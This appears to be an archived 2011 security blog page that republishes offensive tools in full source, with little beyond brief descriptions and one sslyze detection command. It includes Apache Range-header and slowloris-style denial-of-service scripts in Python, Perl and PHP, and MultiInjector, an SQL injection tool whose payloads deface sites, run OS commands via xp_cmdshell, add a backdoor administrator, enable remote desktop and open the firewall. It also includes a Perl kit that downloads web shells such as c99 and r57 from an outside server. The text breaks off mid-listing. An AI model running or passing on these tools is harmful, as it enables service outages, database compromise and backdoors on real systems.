source code « lo0.ro

2Dec/110

Mole – automatic SQL Injection exploitation tool

The Mole is an automatic SQL Injection exploitation tool. Only by providing a vulnerable URL and a valid string on the site it can detect the injection and exploit it, either by using the union technique or a boolean query based technique.

Features:

* Support for injections using Mysql, SQL Server, Postgres and Oracle databases.
* Command line interface. Different commands trigger different actions.
* Auto-completion for commands, command arguments and database, table and columns names.
* Support for query filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily.
* Developed in python 3.

Download windows version or linux

Tutorial and webpage here.

Tagged as: exploitation, Mole, python, source code, SQL injection, tool, tools No Comments

28Nov/110

KillApachePy Range Header DoS

If you are following security trends then you've probably heard about the DoS attack against major number of Apache versions by usage of specially crafted Range header (CVE-2011-3192). Based on the original PoC (killapache.pl) I've made a Python version out of it which is more user friendly and has few program workflow enhancements (automatic usage of maximum (system) allowed thread number, setting custom HTTP method (GET/HEAD/...), custom target page for retrieval, proxy support, etc.)

p.s. Python v2.5.x-v2.7.x is recommended for running this tool

[cc lang="python"]#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION = "0.1d"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "Public domain (FREE)"

SLEEP_TIME = 3 # time to wait for new thread slots (after max number reached)
RANGE_NUMBER = 1024 # number of range subitems forming the DoS payload
USER_AGENT = "KillApachePy (%s)" % VERSION

def attack(url, user_agent=None, method='GET', proxy=None):
url = ("http://%s" % url) if '://' not in url else url
host = urlparse.urlparse(url).netloc

if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
print "(x) Invalid proxy address used"
exit(-1)

proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
opener = urllib2.build_opener(proxy_support)
urllib2.install_opener(opener)

class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
def set_method(self, method):
self.method = method.upper()

def get_method(self):
return getattr(self, 'method', urllib2.Request.get_method(self))

def _send(check=False): #Send the vulnerable request to the target
if check:
print "(i) Checking target for vulnerability..."
payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
try:
headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
req = _MethodRequest(url, None, headers)
req.set_method(method)
response = urllib2.urlopen(req)
if check:
return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
except urllib2.URLError, msg:
if any([item in str(msg) for item in ('Too many', 'Connection reset')]):
pass
elif 'timed out' in str(msg):
print "\r(i) Server seems to be choked ('%s')" % msg
else:
print "(x) Connection error ('%s')" % msg
if check or 'Forbidden' in str(msg):
os._exit(-1)
except Exception, msg:
raise

try:
if not _send(check=True):
print "(x) Target does not seem to be vulnerable"
else:
print "(o) Target seems to be vulnerable\n"
quit = False
while not quit:
threads = []
print "(i) Creating new threads..."
try:
while True:
thread = threading.Thread(target=_send)
thread.start()
threads.append(thread)
except KeyboardInterrupt:
quit = True
raise
except Exception, msg:
if 'new thread' in str(msg):
print "(i) Maximum number of new threads created (%d)" % len(threads)
else:
print "(x) Exception occured ('%s')" % msg
finally:
if not quit:
print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
time.sleep(SLEEP_TIME)
print
except KeyboardInterrupt:
print "\r(x) Ctrl-C was pressed"
os._exit(1)

if __name__ == "__main__":
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
options, _ = parser.parse_args()
if options.url:
result = attack(options.url, options.agent, options.method, options.proxy)
else:
parser.print_help()[/cc]

Tagged as: DoS, KillApachePy, source code, tools No Comments

6Nov/110

ThcSslDOS

Description

THC has released a DOS tool that exploits SSL renegotiation to perform a denial of service on a given SSL server. It uses renegotiation to constantly trigger new SSL handshakes with the server, using one single TCP connection. See http://www.thc.org/thc-ssl-dos/ . For more information about renegotiation, see InsecureRenegotiation.
Detection

The current version of THC's SSL DOS tool requires the server to honor client-initiated renegotiations in order to work.

ThcSsIDOS

[cc lang="bash"]$ python sslyze.py --reneg www.server.com:443 [/cc]

Recommendation

A mitigation against the current version of THC's SSL DOS tool is to prevent the server from honoring client-initiated renegotiations. However, as explained on their website, "The tool can be modified to work without SSL-RENEGOTIATION by just establishing a new TCP connection for every new handshake".

Download here

Tagged as: DoS, source code, sslyze, ThcSslDOS, tools No Comments

23Oct/110

Apache Server 2.3.14 Denial of Service exploit

[cc lang="perl"]#!/usr/bin/perl -w
# Exploit Title: Apache Server 2.3.14 <= Denial of Service exploit (DDOS)
# Date: 22/10/2011
# Author: Xen0n
# Software Link: http://www.apache.org/dyn/closer.cgi
# Version: 2.3.14 and older
# Tested on: CentOs
#feel free to contact us xenon.sec@gmail.com
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors

print < ooooooo ooooo .oooo.
`8888 d8' d8P'`Y8b
Y888..8P .ooooo. ooo. .oo. 888 888 ooo. .oo.
`8888' d88' `88b `888P"Y88b 888 888 `888P"Y88b
.8PY888. 888ooo888 888 888 888 888 888 888
d8' `888b 888 .o 888 888 `88b d88' 888 888
o888o o88888o `Y8bod8P' o888o o888o `Y8bd8P' o888o o888o

Welcome to Xen0n Apache Attacker

EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $xenon, $method, $ssl, $rand, $tcpto );
my $result = GetOptions('shost=s' => \$shost,'dns=s' => \$host,'xenon' => \$xenon,'num=i' => \$connections,'cache' => \$cache,'port=i' => \$port,'https' => \$ssl,'tcpto=i' => \$tcpto,'test' => \$test,'timeout=i' => \$timeout,'version' => \$version,);

if ($version) {
print "Version 1.0\n";
exit;
}

unless ($host) {
print "Test:\n\n\tperl $0 -dns [www.example.com] -test\n";
print "Usage:\n\n\tperl $0 -dns [www.example.com] -port 80 -timeout 100 -num 1000 -tcpto 5 -xenon\n";

print "\n\temail: xenon.sec@ gmail.com\n";
print "\n";
exit;
}

unless ($port) {
$port = 80;
print "Defaulting to port 80.\n";
}

unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.\n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.\n";
}
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n";
print "Xen0n will be slower than normal as a result.\n";
}

my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($xenon) {
$method = "POST";
}
else {
$method = "GET";
}

if ($test) {
my @times = ( "1", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "Testing $host could take up to $totaltime minutes.\n";

my $delay = 0;
my $working = 0;
my $sock;

if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) {
print "Connection successful, now just wait...\n";
}
else {
print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.\n";
print "Is something wrong?\nDying.\n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n";
sleep( $times[$i] );
if ( print $sock "X-a: b\r\n" ) {
print "\tWorked.\n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n";
}
}

if ( print $sock "Connection: Close\r\n\r\n" ) {
print "Okay that's enough time. Xen0n closed the socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
else {
print "Remote server closed socket.\n";
print "Use $delay seconds for -timeout.\n";
exit;
}
if ( $delay < 166 ) {
print < Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Xen0n against this target. You can
tweak the -tcpto flag down to 1 second but it still may not build the sockets
in time.
EOSUCKS2BU
}
}
else {
print
"Attacking $host:$port every $timeout seconds with $connections sockets:\n";

if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}

sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print "\t\tBuilding sockets.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
print
"Current stats:\tXen0n has sent $packetcount packets to $host.\nThe attack will sleep for $timeout seconds...\n\n";
sleep($timeout);
}
}

sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}

__END__[/cc]

Tagged as: Apache Server 2.3.14, Denial of Service, DoS, exploit, perl, source code No Comments

3Oct/110

Killapache DDOS improved

[cc lang="html"]

Devoted my ex-girlfriend Kh. Alana[from Kagan city] (;
k!ll m3 --- s4f3 the fuck'!n w0rldzzzzz
S4(uR4, r00tw0rm __2011__
w4tch u. h4ck u. fuck u.
Pr!v8 2 Publ!c
*/

error_reporting(0);
`chmod -R 777 *`;

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0             __      __   __                   __                           1
1           /'__`\  /'__`\/\ \__              /'__`\                         0
0     _ __ /\ \/\ \/\ \/\ \ \ ,_\  __  __  __/\ \/\ \  _ __    ___ ___       1
1    /\`'__\ \ \ \ \ \ \ \ \ \ \/ /\ \/\ \/\ \ \ \ \ \/\`'__\/' __` __`\     0
0    \ \ \/ \ \ \_\ \ \ \_\ \ \ \_\ \ \_/ \_/ \ \ \_\ \ \ \/ /\ \/\ \/\ \    1
1     \ \_\  \ \____/\ \____/\ \__\\ \___x___/'\ \____/\ \_\ \ \_\ \_\ \_\   0
0      \/_/   \/___/  \/___/  \/__/ \/__//__/   \/___/  \/_/  \/_/\/_/\/_/   1
1                                                                            0 
0                                                                            1
1                                       >> 4L4N4 K!LL3R                      0
0                                       >> author : S4(uR4                   1
1                                       >> sanjar[at]xakep[dot]ru            0
0                                       >> Priv8 v.0.1                       1
1                                       >> )c(  2011                         0
0                                                                            1
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-0

[CHECK] (Vulned : "HTTP/1.1 206 Partial Content") ::

echo "
";
//if(!empty($_POST[0])){
echo "
"."[+] Server Test Running :

";
       echo "
";
       system('curl -I -H "Range : bytes=0-1,0-2" -s '.$_POST["test_url"]);
       echo "

[ATACK] ::

[LOG] ::

echo "PWD :: ".`pwd`;
echo "
SYSTEM :: ".`uname -a`;
echo "
ID :: ".`id`;
echo "
DATE :: ".`date`."
";

$tmp1 = "alana_kill3r.sh";
`touch alana_kill3r.sh`;
$apache_killer = << #!/bin/bash
test "$1" == "" && echo $0 requests threads target-url && exit 0
seq 1 $1 | xargs -I{} -P $2 curl -I -H "User-Agent:" \
-H "Range: bytes=0-`printf ',5-%d' {10..1000}`" \
--compress -s $3 | grep HTTP
XPLOIT;

if (is_writable($tmp1)) {
if (!$handle = fopen($tmp1, 'w+')) {
echo "[x] Can't open file ($tmp1)";
exit;
}
if (fwrite($handle, $apache_killer) === FALSE) {
echo "[x] Can't write file ($tmp1)";
exit;
}
echo "
"."[+] ALL OK, xpl0it Writed";
fclose($handle);
} else {
echo "
[x] File $tmp1 has not access to write";
}

echo"

";
$pwd = "-al";
system("ls ".$pwd);
echo "

";
echo "
"."[+] Xploit Started with :

";
       `chmod +x`.$tmp1;
       echo "
root@r00tw0rm:$ ";
       system("bash ./".$tmp1." ".$_POST["request"]." ".$_POST["threads"]." ".$_POST["url"]);
       echo "

";
?>

[/cc]

Tagged as: DDoS, improved, Killapache, Remote Denial of Service, source code, tools No Comments

22Sep/110

Tiny PHP Shell

[cc lang="php"][/cc]

execute bye copypaste.php?1=shell_exec&2=whoami

Source

Tagged as: shell, source code, Tiny PHP Shell No Comments

5Sep/110

PMCMA automated exploitation tool

PMCMA a new exploitation methodology of invalid memory reads and writes, based on dataow analysis after a memory corruption bug has occurred inside a running process.

First public version of pmcma is now available !

Usage:
[cc lang="bash"]man ./pmcma.1[/cc]

Download pre-compiled tarballs :

* Linux x86 : pmcma32
* Linux x86-64 : pmcma64

Browse git repository :

* https://github.com/toucan-system/pmcma

Get the source:

* git clone https://github.com/toucan-system/pmcma

pmcma was presented at BlackHat USA 2011.

* Get the slides : slides_bhus_2011_brossard
* Get the white paper : paper_BHUS-2011_brossard

Tagged as: automated exploitation tool, PMCMA, source code, tools No Comments

30Aug/110

multinjector by Raviv Raz

[cc lang="python"]#!/usr/bin/env python
"""
MultiInjector v.035
Copyright 2009-2011, Raviv Raz - ravivr@gmail.com
MultiInjector is distributed under the terms of the GNU General Public License
MultiInjector is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see .

"""
try:
import psyco
except:
pass
from sys import stdout,argv,stderr
import pycurl
from urlparse import urlsplit,urlunsplit
from urllib import quote
from os import system
import binascii
import StringIO
from re import findall

class callback:
def __init__(self):
self.contents = ''
buffer = StringIO.StringIO
def feed(self, buf):
self.contents = self.contents + buf

def fireUp(target_list,num_conn,proxy_addr,proxy_port):
tuples = target_list
try:
import signal
from signal import SIGPIPE, SIG_IGN
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
pass
queue = []
for tuple in tuples:
for url in tuple:
if not url or url[0] == "#":
url = str(url).strip()
continue
cb = callback()
queue.append((url,cb))
num_urls = len(queue)
num_conn = min(num_conn, num_urls)
assert 1 <= num_conn <= 10000, "invalid number of concurrent connections"
m = pycurl.CurlMulti()
m.handles = []
for i in range(num_conn):
c = pycurl.Curl()
c.setopt(pycurl.FOLLOWLOCATION, 1)
c.setopt(pycurl.MAXREDIRS, 5)
c.setopt(pycurl.CONNECTTIMEOUT, 30)
c.setopt(pycurl.TIMEOUT, 300)
c.setopt(pycurl.NOSIGNAL, 1)
c.setopt(pycurl.USERAGENT,"""Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)""")
c.setopt(pycurl.HTTPHEADER, ["""Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5""" ,
"""Accept-Language: en-us,en;q=0.5""",
"""Accept-Encoding: gzip,deflate""",
"""Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7""",
"""Keep-Alive: 300""",
"""Connection: keep-alive"""])
if proxy_addr != '':
c.setopt(pycurl.PROXY,proxy_addr)
c.setopt(pycurl.PROXYPORT,proxy_port)
m.handles.append(c)
freelist = m.handles[:]
num_processed = 0
while num_processed < num_urls:
while queue and freelist:
url,cb = queue.pop(0)
c = freelist.pop()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.WRITEFUNCTION, cb.feed)
m.add_handle(c)
c.url = url
while 1:
ret, num_handles = m.perform()
if ret != pycurl.E_CALL_MULTI_PERFORM:
break
while 1:
num_q, ok_list, err_list = m.info_read()
for c in ok_list:
m.remove_handle(c)
freelist.append(c)
for c, errno, errmsg in err_list:
m.remove_handle(c)
freelist.append(c)
num_processed = num_processed + len(ok_list) + len(err_list)
if num_q == 0:
break
m.select(1.0)
for c in m.handles:
c.close()
m.close()
def usage():
stdout.write("""\nCopyright 2008, Raviv Raz - ravivr@gmail.com\nThis program is distributed under the terms of the GNU General Public License\nMultiInjector is an automatic SQL injection utility. It uses a list of URI addresses to test parameter manipulation.\n\
Once a vulnerable parameter has been found, a signature-evasive SQL injection is performed in order to achieve\n\
one of the following goals:\n
1) Automatic defacement
2) Run OS shell command on DB server
3) Run SQL query on DB server
4) Enable OS shell procedure on DB
5) Add administrative user to DB server with password: T0pSeKret
6) Enable remote desktop on DB server
7) Add allowed program to Windows Firewall on DB server
\nUsage: %s [url list] \n\n"""%argv[0])
raise SystemExit
def build_payload(input,choice,program_name):
program_name = program_name.replace("\'","\\'").replace('\"','\\"').replace('>','\>')
input = input.replace("\'","\\'").replace('\"','\\"').replace('>','\>')
if choice ==1:
sql_cmd = """DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''%s''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor;"""%input
elif choice ==2:
sql_cmd = """EXEC MASTER..XP_CMDSHELL '%s'"""%input
elif choice ==3:
sql_cmd = """EXEC '%s'"""%input
elif choice ==4:
sql_cmd = """EXEC sp_configure 'show advanced options',1 ; RECONFIGURE ; EXEC sp_configure 'xp_cmdshell',1 ; RECONFIGURE"""
elif choice ==5:
sql_cmd = """EXEC MASTER..XP_CMDSHELL 'net user %s T0pSeKret /add && net localgroup administrators %s /add'"""%(input,input)
elif choice ==6:
sql_cmd = """EXECUTE master.dbo.xp_regwrite N'HKEY_LOCAL_MACHINE',N'SYSTEM\CurrentControlSet\Control\Terminal Server',N'fDenyTSConnections',N'REG_DWORD',0;--"""
elif choice ==7:
input = input.replace("\'","\\'").replace('\"','\\"')
sql_cmd = """EXEC MASTER..XP_CMDSHELL 'netsh firewall add allowedprogram %s %s ENABLE'"""%(input,program_name)
if len(input) % 2 == 0:
payload = binascii.hexlify(sql_cmd)
else:
payload = binascii.hexlify(sql_cmd[:-1])
cmd = " or 1=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x%s AS VARCHAR(4000));EXEC(@S);--"%payload
return quote(cmd)
def fullurl(host,path,params):
return urlunsplit(('http',host,path,params,''))
def is_numeric(param):
if findall("^.*=[0-9]+$",param):
return True
else:
return False
def change_params(params,payload):
new_list = []
split_params = params.split('&')
for i in range(len(split_params)):
if is_numeric(split_params[i]):
new_param = str(split_params[i])+payload
else:
new_param = str(split_params[i])+"%27"+payload
new_list.append(params.replace(split_params[i],new_param))
return new_list
def add_payload(url,payload):
spliturl = urlsplit(url,allow_fragments=True)
protocol = spliturl[0]
host = spliturl[1]
params = spliturl[3]
path = spliturl[2]
new_params = change_params(params,payload)
new_urls =[]
for param in new_params:
new_urls.append(fullurl(host,path,param))
return new_urls
def find_parameterized_urls(list):
newlist = []
for item in list:
if urlsplit(item)[3] != '':
newlist.append(item.strip())
return newlist
def menu():
conn_num = 5
system('cls')
stdout.write("""
Please choose the attack of your flavor:\n
1) Automatic defacement
2) Run OS shell command on DB server
3) Run SQL query on DB server
4) Enable OS shell procedure on DB
5) Add administrative user to DB server with password: T0pSeKret
6) Enable remote desktop on DB server
7) Add allowed program to Windows Firewall on DB server
\n""")
try:
program = ""
choice = int(raw_input("> "))
if choice == 1:
command = str(raw_input("\n\nEnter defacement content:\n\n> "))
elif choice == 2:
command = str(raw_input("\n\nEnter OS command to run:\n\n> "))
elif choice == 3:
command = str(raw_input("\n\nEnter SQL query to run:\n\n> "))
elif choice == 4:
command = ""
elif choice == 5:
command = str(raw_input("\n\nEnter administrative user name:\n\n>"))
elif choice == 6:
command = ""
elif choice == 7:
command = str(raw_input("Enter program full path (c:\path\program.exe):\n>"))
program = str(raw_input("Enter program name in firewall allowed programs list:\n>"))
elif not choice in (1,2,3,4,5,6,7):
menu()
except KeyboardInterrupt:
stdout.write('\n\nC ya!\n\n')
raise SystemExit
except:
menu()
stdout.write('Number of parallel connections: (default=5)\n')
try:
conn_num = int(raw_input("> "))
except:
conn_num = 5
stdout.write('Use HTTP proxy? [y/n]: (default=n)\n')
use_proxy = (raw_input("> "))
if 'y' in use_proxy:
stdout.write('Proxy address: \n')
proxy_addr = (raw_input("> "))
stdout.write('Proxy port: \n')
proxy_port = int(raw_input("> "))
else:
proxy_addr = ''
proxy_port = 0
return choice,command,conn_num,proxy_addr,proxy_port,program
def main():
if len(argv)<2:
usage()
else:
try:
stdout.write('\n[!] Opening url file...\n')
old_urls = open(argv[1]).readlines()
except:
stderr.write("""\n[x] Failed to open %s \n"""%argv[1])
raise SystemExit
choice,command,conn_num,proxy_addr,proxy_port,program_name = menu()
payload = build_payload(command,choice,program_name)
stdout.write('[!] Bombs Away !!\n')
urls = []
for item in find_parameterized_urls(old_urls):
injected = add_payload(item,payload)
urls.append(injected)
if len(urls)>0:
if proxy_addr !='':
fireUp(urls,conn_num,proxy_addr,proxy_port)
elif proxy_addr =='':
fireUp(urls,conn_num,'',0)
stdout.write('[v] Attacks finished\n')
else:
print """[x] No URL found with parameters to inject.\nWe must have at least one URL like:\nhttp://www.victim.com/program.asp?p1=v1&p2=v2"""
if __name__ == "__main__":
main()[/cc]

very nice tool. credit goes to Raviv Raz@Chapters In Web Security

Tagged as: Download and Exec Shellcode, multinjector, shell, source code, sqli, tool, tools, upload shell No Comments

30Aug/110

H4ckCity Auto T00ls v1.0

[cc lang="perl"]#!/usr/bin/perl
use strict;
use warnings;
use LWP::Simple;
my $url = "http://farbod.gozarweb.com/tools/h4ckcity.pl";
my $file = "h4ckcity.pl";
$ARGV=@ARGV;
print " ###########################################################\n";
print " ###########################################################\n";
print " ## --== H4ckCity Auto T00ls v1.0 ==-- ##\n";
print " ## ##\n";
print " ## Author: Farbod Mahini ##\n";
print " ## From : Iran ##\n";
print " ## Date : 2011/08/10 ##\n";
print " ## Email : Farbodmahini\@yahoo.fr ##\n";
print " ## Adress : wWw.H4ckCity.Org ##\n";
print " ## ##\n";
print " ## Spc Tnx : ##\n";
print " ## Mehdi.H4ckCity-Expl0its-Higher_Sence-Mikili-2MzRp ##\n";
print " ## ##\n";
print " ## Greetz : M.Prince-L0phtIran-Net.Edit0r-Amir.Magic ##\n";
print " ## And All Member Of H4ckCity ##\n";
print " ## ##\n";
print " ###########################################################\n";
print " ###########################################################\n";
print "[*] Connecting... \n";
print "[*] Sending Payload \n";
sleep(2);
if ($ARGV != 2) {
print "for view help , Usage: $0 tools help \n\n";
print "Usage: $0 [option1] [option2] \n\n";
die "Ex: $0 shell c99 \n";
}
if ($ARGV[0] =~ "tools")
{
if ($ARGV[1] =~ "help")
{
print " Usage perl $0 shell help \n";
print " Usage perl $0 rooting help\n";
print " Usage perl $0 script help\n";
print " Usage perl $0 update help \n";
die "Powered By Farbod Mahini \n";
}
}
#update tools
if ($ARGV[0] =~ "update")
{
if ($ARGV[1] =~ "help")
{
print " Usage perl $0 win description: update fron Windows Os \n";
print " Usage perl $0 linux description: update fron Linux Os \n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "win")
{
print "The Tools Link :\n";
print "http://farbod.gozarweb.com/tools/h4ckcity.pl\n";
system "color A";
getstore($url, $file);
print "This Tools is updated \n";
print " H4ckcity Security Team\n";
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "linux")
{
print "The Tools Link :\n";
print "http://farbod.gozarweb.com/tools/h4ckcity.pl\n";
system "wget http://farbod.gozarweb.com/tools/h4ckcity.pl";
system "mv h4ckcity.pl $0";
print "This Tools is updated \n";
print " H4ckcity Security Team\n";
die "Powered By Farbod Mahini \n";
}
}
#tools for shells
if ($ARGV[0] =~ "shell")
{
if ($ARGV[1] =~ "help")
{
print " ###########################################################\n";
print " all of users & passwords : h4ckcity \n";
print " Usage perl $0 shell r57 r57-2010.php \n";
print " Usage perl $0 shell itsec itsecteam.php \n";
print " Usage perl $0 shell egy Egy_Spider.php \n";
print " Usage perl $0 shell cry CrystalShell.php \n";
print " Usage perl $0 shell hmb HMBr57.php \n";
print " Usage perl $0 shell mtv MTV2.php\n";
print " Usage perl $0 shell rd Root_directory.php \n";
print " Usage perl $0 shell zend Zend.php \n";
print " Usage perl $0 shell bb bb.php \n";
print " Usage perl $0 shell con config.php\n";
print " Usage perl $0 shell cui cuibap.php \n";
print " Usage perl $0 shell c99 c99.php \n";
print " Usage perl $0 shell zr Zone-r.php \n";
print " Usage perl $0 shell dgn dgn.php \n";
print " Usage perl $0 shell 2mv 2mv2.php h4ckcity sheller\n";
print " Usage perl $0 shell ajx ajax_shell.php \n";
print " Usage perl $0 shell acs antichat_shell.php Antichat Shell v1.3\n";
print " Usage perl $0 shell azp azrailphp.php aZRaiLPhp v1.0\n";
print " Usage perl $0 shell bck backup.php backup the scripts\n";
print " Usage perl $0 shell bps Bl0od3rShell.php Bl0od3r Priv8 Shell\n";
print " Usage perl $0 shell byp Bypass.php \n";
print " Usage perl $0 shell c100 c100.php \n";
print " Usage perl $0 shell csu casus15.php \n";
print " Usage perl $0 shell cgt cgitelnet.pl \n";
print " Usage perl $0 shell cyb cybershell.php \n";
print " Usage perl $0 shell dx Dx.php \n";
print " Usage perl $0 shell fts Fatalshell.php \n";
print " Usage perl $0 shell fps fucphpshell.php \n";
print " Usage perl $0 shell gfs gfs_sh.php \n";
print " Usage perl $0 shell vir virashell.php \n";
print " Usage perl $0 shell vis vira.php virangar shell\n";
print " Usage perl $0 shell up Uploader.php \n";
print " Usage perl $0 shell sra SyRiAn.php SyRiAn.Sh3ll.V7\n";
print " Usage perl $0 shell sim simattacker.php \n";
print " Usage perl $0 shell rus Russian.php \n";
print " Usage perl $0 shell ros rootshell.php \n";
print " Usage perl $0 shell myt mysql_tool.php \n";
print " Usage perl $0 shell mys mysql.php \n";
print " Usage perl $0 shell lod load_shell.php \n";
print " Usage perl $0 shell liz Liz0ziM.php \n";
print " Usage perl $0 shell lip Liz0ziM_Private.php Safe Mode Command Execuriton Bypass Exploit\n";
